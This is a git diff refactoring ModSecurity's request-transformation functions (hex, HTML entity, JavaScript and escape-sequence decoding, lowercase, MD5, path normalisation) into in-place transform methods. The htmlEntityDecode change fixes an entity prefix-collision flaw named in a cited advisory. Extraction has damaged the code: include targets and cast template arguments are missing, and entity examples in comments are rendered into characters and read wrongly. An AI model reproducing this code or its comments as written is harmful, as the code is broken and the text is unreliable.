a/src/actions/transformations/escape_seq_decode.cc +++ b/src/actions/transformations/escape_seq_decode.cc @@ -13,36 +13,22 @@ * */ -#include "src/actions/transformations/escape_seq_decode.h" - -#include -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +#include "escape_seq_decode.h" + #include "src/utils/string.h" -namespace modsecurity { -namespace actions { -namespace transformations { +using namespace modsecurity::utils::string; -EscapeSeqDecode::EscapeSeqDecode(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} +namespace modsecurity::actions::transformations { -int EscapeSeqDecode::ansi_c_sequences_decode_inplace(unsigned char *input, - int input_len) { - unsigned char *d = input; - int i, count; +static inline int ansi_c_sequences_decode_inplace(std::string &value) { + auto d = reinterpret_cast(value.data()); + const unsigned char* input = d; + const auto input_len = value.length(); - i = count = 0; + bool changed = false; + std::string::size_type i = 0; while (i < input_len) { if ((input[i] == '\\') && (i + 1 < input_len)) { int c = -1; @@ -120,43 +106,29 @@ int EscapeSeqDecode::ansi_c_sequences_decode_inplace(unsigned char *input, if (c == -1) { /* Didn't recognise encoding, copy raw bytes. */ *d++ = input[i + 1]; - count++; i += 2; } else { /* Converted the encoding. */ *d++ = c; - count++; } + + changed = true; } else { /* Input character not a backslash, copy it. */ *d++ = input[i++]; - count++; } } *d = '\0'; - return count; + value.resize(d - input); + return changed; } -std::string EscapeSeqDecode::evaluate(const std::string &value, - Transaction *transaction) { - - unsigned char *tmp = (unsigned char *) malloc(sizeof(char) - * value.size() + 1); - memcpy(tmp, value.c_str(), value.size() + 1); - tmp[value.size()] = '\0'; - - int size = ansi_c_sequences_decode_inplace(tmp, value.size()); - - std::string ret(""); - ret.assign(reinterpret_cast(tmp), size); - free(tmp); - - return ret; +bool EscapeSeqDecode::transform(std::string &value, const Transaction *trans) const { + return ansi_c_sequences_decode_inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/escape_seq_decode.h b/src/actions/transformations/escape_seq_decode.h index d68f33b56f..71976fe126 100644 --- a/src/actions/transformations/escape_seq_decode.h +++ b/src/actions/transformations/escape_seq_decode.h @@ -13,35 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_ESCAPE_SEQ_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_ESCAPE_SEQ_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class EscapeSeqDecode : public Transformation { public: + using Transformation::Transformation; - explicit EscapeSeqDecode(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - int ansi_c_sequences_decode_inplace(unsigned char *input, int input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_ESCAPE_SEQ_DECODE_H_ diff --git a/src/actions/transformations/hex_decode.cc b/src/actions/transformations/hex_decode.cc index e626bc5f35..21a69c8125 100644 --- a/src/actions/transformations/hex_decode.cc +++ b/src/actions/transformations/hex_decode.cc @@ -13,67 +13,35 @@ * */ -#include "src/actions/transformations/hex_decode.h" +#include "hex_decode.h" -#include -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" -namespace modsecurity { -namespace actions { -namespace transformations { - -std::string HexDecode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - int size = 0; +namespace modsecurity::actions::transformations { - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - if (input == NULL) { - return ""; - } +static inline int inplace(std::string &value) { + if (value.empty()) return false; - memcpy(input, value.c_str(), value.length()+1); + const auto len = value.length(); + auto d = reinterpret_cast(value.data()); + const auto *data = d; - size = inplace(input, value.length()); + for (std::string::size_type i = 0; i + 1 < len; i += 2) { + *d++ = utils::string::x2c(&data[i]); + } - ret.assign(reinterpret_cast(input), size); - free(input); + *d = '\0'; - return ret; + value.resize(d - data); + return true; } -int HexDecode::inplace(unsigned char *data, int len) { - unsigned char *d = data; - int i, count = 0; - - if ((data == NULL) || (len == 0)) { - return 0; - } - - for (i = 0; i <= len - 2; i += 2) { - *d++ = utils::string::x2c(&data[i]); - count++; - } - *d = '\0'; - - return count; +bool HexDecode::transform(std::string &value, const Transaction *trans) const { + return inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/hex_decode.h b/src/actions/transformations/hex_decode.h index a2f48c6d8f..1ee6a1b773 100644 --- a/src/actions/transformations/hex_decode.h +++ b/src/actions/transformations/hex_decode.h @@ -13,35 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_HEX_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_HEX_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class HexDecode : public Transformation { public: - explicit HexDecode(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - static int inplace(unsigned char *data, int len); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_HEX_DECODE_H_ diff --git a/src/actions/transformations/hex_encode.cc b/src/actions/transformations/hex_encode.cc index 4e6121df60..689a132f76 100644 --- a/src/actions/transformations/hex_encode.cc +++ b/src/actions/transformations/hex_encode.cc @@ -13,41 +13,25 @@ * */ -#include "src/actions/transformations/hex_encode.h" +#include "hex_encode.h" -#include -#include -#include -#include -#include -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { -HexEncode::HexEncode(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string HexEncode::evaluate(const std::string &value, - Transaction *transaction) { +bool HexEncode::transform(std::string &value, const Transaction *trans) const { + if (value.empty()) return false; std::stringstream result; - for (std::size_t i=0; i < value.length(); i++) { - unsigned int ii = (unsigned char)(value[i]); + for (const auto c : value) { + unsigned int ii = (unsigned char)c; result << std::setw(2) << std::setfill('0') << std::hex << ii; } - return result.str(); + value = result.str(); + return true; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/hex_encode.h b/src/actions/transformations/hex_encode.h index 1ba39c56a1..9037a514fe 100644 --- a/src/actions/transformations/hex_encode.h +++ b/src/actions/transformations/hex_encode.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_HEX_ENCODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_HEX_ENCODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class HexEncode : public Transformation { public: + using Transformation::Transformation; - explicit HexEncode(const std::string &action); - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_HEX_ENCODE_H_ diff --git a/src/actions/transformations/html_entity_decode.cc b/src/actions/transformations/html_entity_decode.cc index b9268df55c..5193901b45 100644 --- a/src/actions/transformations/html_entity_decode.cc +++ b/src/actions/transformations/html_entity_decode.cc @@ -13,66 +13,143 @@ * */ -#include "src/actions/transformations/html_entity_decode.h" +#include "html_entity_decode.h" -#include +#include -#include -#include -#include -#include -#include -#include +#include "src/utils/string.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif +using namespace modsecurity::utils::string; -namespace modsecurity { -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -std::string HtmlEntityDecode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; +namespace { - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); +struct NamedEntity { + const char *name; + std::size_t len; + unsigned char ch; +}; - if (input == NULL) { - return ""; +/* Named-entity table for t:htmlEntityDecode. + * + * Compared case-insensitively against the full extracted token; the length + * must match exactly. Prior implementations used strncasecmp() with the name + * length only, which caused prefix collisions (e.g. "<est;" decoded to "<" + * and dropped "est"). See GHSA-cxqf-vgrr-xxrv. + * + * The contents below are generated, not hand-curated: a hand-written list + * drifts from the specification (it is how {, ! and ^ came to + * be missing while ⁁, ‐ and ˜ were mapped to ASCII + * characters the specification does not assign them). Regenerate with: + * + * curl -sSO https://html.spec.whatwg.org/entities.json + * python3 tools/gen-html-entities.py entities.json + * + * NAMED_ENTITY derives the name length from the string literal at compile + * time so the two cannot drift out of sync. + */ +#define NAMED_ENTITY(name_lit, character) \ + { (name_lit), sizeof(name_lit) - 1, static_cast(character) } + +constexpr NamedEntity named_entities[] = { + /* Generated by tools/gen-html-entities.py from + * https://html.spec.whatwg.org/entities.json -- do not edit by hand. + * + * Every entity expanding to a single code point in U+0000..U+007F, + * plus NBSP (U+00A0) and SOFT HYPHEN (U+00AD). 44 entries. + * + * Case-insensitive matching collapses these spec distinctions: + * > = U+003E wins over ≫ = U+226B + * < = U+003C wins over ≪ = U+226A + * : = U+003A wins over ∷ = U+2237 + * | = U+007C wins over ‖ = U+2016 + * | = U+007C wins over ‖ = U+2016 + */ + NAMED_ENTITY("amp", '&'), + NAMED_ENTITY("apos", '\''), + NAMED_ENTITY("ast", '*'), + NAMED_ENTITY("bsol", '\\'), + NAMED_ENTITY("colon", ':'), + NAMED_ENTITY("comma", ','), + NAMED_ENTITY("commat", '@'), + NAMED_ENTITY("diacriticalgrave", '`'), + NAMED_ENTITY("dollar", '$'), + NAMED_ENTITY("equals", '='), + NAMED_ENTITY("excl", '!'), + NAMED_ENTITY("grave", '`'), + NAMED_ENTITY("gt", '>'), + NAMED_ENTITY("hat", '^'), + NAMED_ENTITY("lbrace", '{'), + NAMED_ENTITY("lbrack", '['), + NAMED_ENTITY("lcub", '{'), + NAMED_ENTITY("lowbar", '_'), + NAMED_ENTITY("lpar", '('), + NAMED_ENTITY("lsqb", '['), + NAMED_ENTITY("lt", '<'), + NAMED_ENTITY("midast", '*'), + NAMED_ENTITY("nbsp", NBSP), + NAMED_ENTITY("newline", '\n'), + NAMED_ENTITY("nonbreakingspace", NBSP), + NAMED_ENTITY("num", '#'), + NAMED_ENTITY("percnt", '%'), + NAMED_ENTITY("period", '.'), + NAMED_ENTITY("plus", '+'), + NAMED_ENTITY("quest", '?'), + NAMED_ENTITY("quot", '\"'), + NAMED_ENTITY("rbrace", '}'), + NAMED_ENTITY("rbrack", ']'), + NAMED_ENTITY("rcub", '}'), + NAMED_ENTITY("rpar", ')'), + NAMED_ENTITY("rsqb", ']'), + NAMED_ENTITY("semi", ';'), + NAMED_ENTITY("shy", 0xAD), + NAMED_ENTITY("sol", '/'), + NAMED_ENTITY("tab", '\t'), + NAMED_ENTITY("underbar", '_'), + NAMED_ENTITY("verbar", '|'), + NAMED_ENTITY("vert", '|'), + NAMED_ENTITY("verticalline", '|'), +}; + +#undef NAMED_ENTITY + +bool lookup_named_entity(const unsigned char *name, std::size_t name_len, + unsigned char *out) { + for (const auto &e : named_entities) { + if (e.len == name_len && + strncasecmp(reinterpret_cast(name), e.name, + name_len) == 0) { + *out = e.ch; + return true; + } } - - memcpy(input, value.c_str(), value.length()+1); - - size_t i = inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), i); - free(input); - - return ret; + return false; } +} // namespace -int HtmlEntityDecode::inplace(unsigned char *input, uint64_t input_len) { - unsigned char *d = input; - int i, count; - if ((input == NULL) || (input_len == 0)) { - return 0; - } +static inline bool inplace(std::string &value) { + const auto input_len = value.length(); + auto d = reinterpret_cast(value.data()); + const unsigned char *input = d; + const unsigned char *end = input + input_len; - i = count = 0; - while ((i < input_len) && (count < input_len)) { - int z, copy = 1; + std::string::size_type i = 0; + while (i < input_len) { + std::string::size_type copy = 1; /* Require an ampersand and at least one character to * start looking into the entity. */ if ((input[i] == '&') && (i + 1 < input_len)) { - int k, j = i + 1; + auto j = i + 1; if (input[j] == '#') { /* Numerical entity. */ @@ -92,19 +169,18 @@ int HtmlEntityDecode::inplace(unsigned char *input, uint64_t input_len) { } j++; /* j is the position of the first digit now. */ - k = j; + auto k = j; while ((j < input_len) && (isxdigit(input[j]))) { j++; } if (j > k) { /* Do we have at least one digit? */ /* Decode the entity. */ - char *x; - x = reinterpret_cast(calloc(sizeof(char), - ((j - k) + 1))); - memcpy(x, (const char *)&input[k], j - k); - *d++ = (unsigned char)strtol(x, NULL, 16); - free(x); - count++; + char *x = new char[(j - k) + 1]; + std::copy(input + k, input + j, x); + x[j - k] = '\0'; + + *d++ = (unsigned char)strtol(x, nullptr, 16); + delete[] x; /* Skip over the semicolon if it's there. */ if ((j < input_len) && (input[j] == ';')) { @@ -118,19 +194,19 @@ int HtmlEntityDecode::inplace(unsigned char *input, uint64_t input_len) { } } else { /* Decimal entity. */ - k = j; + auto k = j; + while ((j < input_len) && (isdigit(input[j]))) { j++; } if (j > k) { /* Do we have at least one digit? */ /* Decode the entity. */ - char *x; - x = reinterpret_cast(calloc(sizeof(char), - ((j - k) + 1))); - memcpy(x, (const char *)&input[k], j - k); - *d++ = (unsigned char)strtol(x, NULL, 10); - free(x); - count++; + char *x = new char[j - k + 1]; + std::copy(input + k, input + j, x); + + x[j - k] = '\0'; + *d++ = (unsigned char)strtol(x, nullptr, 10); + delete[] x; /* Skip over the semicolon if it's there. */ if ((j < input_len) && (input[j] == ';')) { @@ -145,38 +221,18 @@ int HtmlEntityDecode::inplace(unsigned char *input, uint64_t input_len) { } } else { /* Text entity. */ - k = j; + auto k = j; while ((j < input_len) && (isalnum(input[j]))) { j++; } - if (j > k) { /* Do we have at least one digit? */ - char *x; - x = reinterpret_cast(calloc(sizeof(char), - ((j - k) + 1))); - memcpy(x, (const char *)&input[k], j - k); - - /* Decode the entity. */ - /* ENH What about others? */ - if (strcasecmp(x, "quot") == 0) { - *d++ = '"'; - } else if (strcasecmp(x, "amp") == 0) { - *d++ = '&'; - } else if (strcasecmp(x, "lt") == 0) { - *d++ = '<'; - } else if (strcasecmp(x, "gt") == 0) { - *d++ = '>'; - } else if (strcasecmp(x, "nbsp") == 0) { - *d++ = NBSP; - } else { - /* We do no want to convert this entity, - * copy the raw data over. */ + if (j > k) { /* Do we have at least one character? */ + unsigned char decoded = 0; + if (!lookup_named_entity(&input[k], j - k, &decoded)) { + /* Unknown entity: copy the raw data over. */ copy = j - k + 1; - free(x); goto HTML_ENT_OUT; } - free(x); - - count++; + *d++ = decoded; /* Skip over the semicolon if it's there. */ if ((j < input_len) && (input[j] == ';')) { @@ -192,17 +248,21 @@ int HtmlEntityDecode::inplace(unsigned char *input, uint64_t input_len) { HTML_ENT_OUT: - for (z = 0; ((z < copy) && (count < input_len)); z++) { + for (auto z = 0; z < copy; z++) { *d++ = input[i++]; - count++; } } *d = '\0'; - return count; + value.resize(d - input); + return d != end; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +bool HtmlEntityDecode::transform(std::string &value, const Transaction *trans) const { + return inplace(value); +} + + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/html_entity_decode.h b/src/actions/transformations/html_entity_decode.h index 44fcc32319..499f8f2ff8 100644 --- a/src/actions/transformations/html_entity_decode.h +++ b/src/actions/transformations/html_entity_decode.h @@ -13,40 +13,20 @@ * */ -#include -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" -#include "src/utils/string.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_HTML_ENTITY_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_HTML_ENTITY_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +#include "transformation.h" +namespace modsecurity::actions::transformations { class HtmlEntityDecode : public Transformation { public: - explicit HtmlEntityDecode(const std::string &action) - : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - static int inplace(unsigned char *input, uint64_t input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; - -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_HTML_ENTITY_DECODE_H_ diff --git a/src/actions/transformations/js_decode.cc b/src/actions/transformations/js_decode.cc index 2f4cf8bb57..857125c746 100644 --- a/src/actions/transformations/js_decode.cc +++ b/src/actions/transformations/js_decode.cc @@ -13,55 +13,22 @@ * */ -#include "src/actions/transformations/js_decode.h" +#include "js_decode.h" -#include - -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" +using namespace modsecurity::utils::string; -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string JsDecode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - - memcpy(input, value.c_str(), value.length()+1); - - size_t i = inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), i); - free(input); - - return ret; -} +namespace modsecurity::actions::transformations { -int JsDecode::inplace(unsigned char *input, uint64_t input_len) { - unsigned char *d = (unsigned char *)input; - int64_t i, count; +static inline int inplace(std::string &value) { + auto d = reinterpret_cast(value.data()); + const unsigned char *input = d; + const auto input_len = value.length(); - i = count = 0; + bool changed = false; + std::string::size_type i = 0; while (i < input_len) { if (input[i] == '\\') { /* Character is an escape. */ @@ -82,14 +49,14 @@ int JsDecode::inplace(unsigned char *input, uint64_t input_len) { } d++; - count++; i += 6; + changed = true; } else if ((i + 3 < input_len) && (input[i + 1] == 'x') && VALID_HEX(input[i + 2]) && VALID_HEX(input[i + 3])) { /* \xHH */ *d++ = utils::string::x2c(&input[i + 2]); - count++; i += 4; + changed = true; } else if ((i + 1 < input_len) && ISODIGIT(input[i + 1])) { /* \OOO (only one byte, \000 - \377) */ char buf[4]; @@ -110,7 +77,7 @@ int JsDecode::inplace(unsigned char *input, uint64_t input_len) { } *d++ = (unsigned char)strtol(buf, NULL, 8); i += 1 + j; - count++; + changed = true; } } else if (i + 1 < input_len) { /* \C */ @@ -144,25 +111,28 @@ int JsDecode::inplace(unsigned char *input, uint64_t input_len) { *d++ = c; i += 2; - count++; + changed = true; } else { /* Not enough bytes */ while (i < input_len) { *d++ = input[i++]; - count++; } } } else { *d++ = input[i++]; - count++; } } *d = '\0'; - return count; + value.resize(d - input); + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +bool JsDecode::transform(std::string &value, const Transaction *trans) const { + return inplace(value); +} + + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/js_decode.h b/src/actions/transformations/js_decode.h index 60d6617b35..840577cb6c 100644 --- a/src/actions/transformations/js_decode.h +++ b/src/actions/transformations/js_decode.h @@ -13,35 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_JS_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_JS_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class JsDecode : public Transformation { public: - explicit JsDecode(const std::string &action) - : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - static int inplace(unsigned char *input, uint64_t input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_JS_DECODE_H_ diff --git a/src/actions/transformations/length.cc b/src/actions/transformations/length.cc index 61015b82bf..ac98914c6e 100644 --- a/src/actions/transformations/length.cc +++ b/src/actions/transformations/length.cc @@ -13,34 +13,16 @@ * */ -#include "src/actions/transformations/length.h" +#include "length.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - -Length::Length(const std::string &action) - : Transformation(action) { - this->action_kind = 1; +bool Length::transform(std::string &value, const Transaction *trans) const { + value = std::to_string(value.size()); + return true; } -std::string Length::evaluate(const std::string &value, - Transaction *transaction) { - - return std::to_string(value.size()); -} -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/length.h b/src/actions/transformations/length.h index 8892a9dcd2..39465238f4 100644 --- a/src/actions/transformations/length.h +++ b/src/actions/transformations/length.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_LENGTH_H_ #define SRC_ACTIONS_TRANSFORMATIONS_LENGTH_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Length : public Transformation { public: + using Transformation::Transformation; - explicit Length(const std::string &action); - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_LENGTH_H_ diff --git a/src/actions/transformations/lower_case.cc b/src/actions/transformations/lower_case.cc index d00ab40cb6..0238b5a457 100644 --- a/src/actions/transformations/lower_case.cc +++ b/src/actions/transformations/lower_case.cc @@ -13,36 +13,19 @@ * */ -#include "src/actions/transformations/lower_case.h" -#include -#include +#include "lower_case.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "modsecurity/actions/action.h" +#include -namespace modsecurity { -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -LowerCase::LowerCase(const std::string &a) - : Transformation(a) { -} - -std::string LowerCase::evaluate(const std::string &val, - Transaction *transaction) { - std::locale loc; - std::string value(val); - for (std::string::size_type i=0; i < value.length(); ++i) { - value[i] = std::tolower(value[i], loc); - } - - return value; +bool LowerCase::transform(std::string &value, const Transaction *trans) const { + return convert(value, [](auto c) { + return std::tolower(c); }); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/lower_case.h b/src/actions/transformations/lower_case.h index 590498405b..192b2aa3fc 100644 --- a/src/actions/transformations/lower_case.h +++ b/src/actions/transformations/lower_case.h @@ -13,34 +13,35 @@ * */ -#include -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_LOWER_CASE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_LOWER_CASE_H_ -#ifdef __cplusplus +#include "transformation.h" -namespace modsecurity { -class Transaction; -namespace actions { -namespace transformations { +#include +namespace modsecurity::actions::transformations { class LowerCase : public Transformation { public: - explicit LowerCase(const std::string &action); - std::string evaluate(const std::string &exp, - Transaction *transaction) override; -}; + using Transformation::Transformation; + + bool transform(std::string &value, const Transaction *trans) const override; -} // namespace transformations -} // namespace actions -} // namespace modsecurity + template + static bool convert(std::string &val, Operation op) { + bool changed = false; + + std::transform(val.begin(), val.end(), val.data(), + [&](auto c) { + const auto nc = op(c); + if(nc != c) changed = true; + return nc; }); + + return changed; + } +}; -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_LOWER_CASE_H_ diff --git a/src/actions/transformations/md5.cc b/src/actions/transformations/md5.cc index 71c36bc300..dbd67061e1 100644 --- a/src/actions/transformations/md5.cc +++ b/src/actions/transformations/md5.cc @@ -13,32 +13,16 @@ * */ -#include "src/actions/transformations/md5.h" +#include "md5.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/md5.h" -namespace modsecurity { -namespace actions { -namespace transformations { - +namespace modsecurity::actions::transformations { -std::string Md5::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret = Utils::Md5::digest(value); - return ret; +bool Md5::transform(std::string &value, const Transaction *trans) const { + return Utils::Md5::digestReplace(&value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/md5.h b/src/actions/transformations/md5.h index 37f22473fa..d1813c5ff3 100644 --- a/src/actions/transformations/md5.h +++ b/src/actions/transformations/md5.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_MD5_H_ #define SRC_ACTIONS_TRANSFORMATIONS_MD5_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Md5 : public Transformation { public: - explicit Md5(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_MD5_H_ diff --git a/src/actions/transformations/none.cc b/src/actions/transformations/none.cc index f122bf035c..adbf32a606 100644 --- a/src/actions/transformations/none.cc +++ b/src/actions/transformations/none.cc @@ -13,30 +13,15 @@ * */ -#include "src/actions/transformations/none.h" +#include "none.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string None::evaluate(const std::string &value, - Transaction *transaction) { - return value; +bool None::transform(std::string &value, const Transaction *trans) const { + return false; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/none.h b/src/actions/transformations/none.h index e8a0e9d956..2fe428bb00 100644 --- a/src/actions/transformations/none.h +++ b/src/actions/transformations/none.h @@ -13,20 +13,12 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_NONE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_NONE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class None : public Transformation { public: @@ -34,14 +26,9 @@ class None : public Transformation { : Transformation(action) { m_isNone = true; } - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_NONE_H_ diff --git a/src/actions/transformations/normalise_path.cc b/src/actions/transformations/normalise_path.cc index e75b984986..5c67ddc150 100644 --- a/src/actions/transformations/normalise_path.cc +++ b/src/actions/transformations/normalise_path.cc @@ -13,47 +13,14 @@ * */ -#include "src/actions/transformations/normalise_path.h" +#include "normalise_path.h" -#include -#include -#include -#include -#include -#include -#include +namespace modsecurity::actions::transformations { -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" - -namespace modsecurity { -namespace actions { -namespace transformations { - -NormalisePath::NormalisePath(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string NormalisePath::evaluate(const std::string &value, - Transaction *transaction) { - int changed = 0; - - char *tmp = reinterpret_cast( - malloc(sizeof(char) * value.size() + 1)); - memcpy(tmp, value.c_str(), value.size() + 1); - tmp[value.size()] = '\0'; - - int i = normalize_path_inplace((unsigned char *)tmp, - value.size(), 0, &changed); - - std::string ret(""); - ret.assign(tmp, i); - free(tmp); - - return ret; +bool NormalisePath::transform(std::string &value, const Transaction *trans) const { + return normalize_path_inplace(value, false); } @@ -61,44 +28,41 @@ std::string NormalisePath::evaluate(const std::string &value, * * IMP1 Assumes NUL-terminated */ -int NormalisePath::normalize_path_inplace(unsigned char *input, int input_len, - int win, int *changed) { - unsigned char *src; - unsigned char *dst; - unsigned char *end; - int ldst = 0; +bool NormalisePath::normalize_path_inplace(std::string &val, const bool win) { int hitroot = 0; int done = 0; int relative; int trailing; - *changed = 0; + bool changed = false; /* Need at least one byte to normalize */ - if (input_len <= 0) return 0; + if(val.empty()) return false; + + auto input = reinterpret_cast(val.data()); + const auto input_len = val.length(); /* * ENH: Deal with UNC and drive letters? */ - src = dst = input; - end = input + (input_len - 1); - ldst = 1; + auto src = input; + auto dst = input; + const auto *end = input + (input_len - 1); relative = ((*input == '/') || (win && (*input == '\\'))) ? 0 : 1; trailing = ((*end == '/') 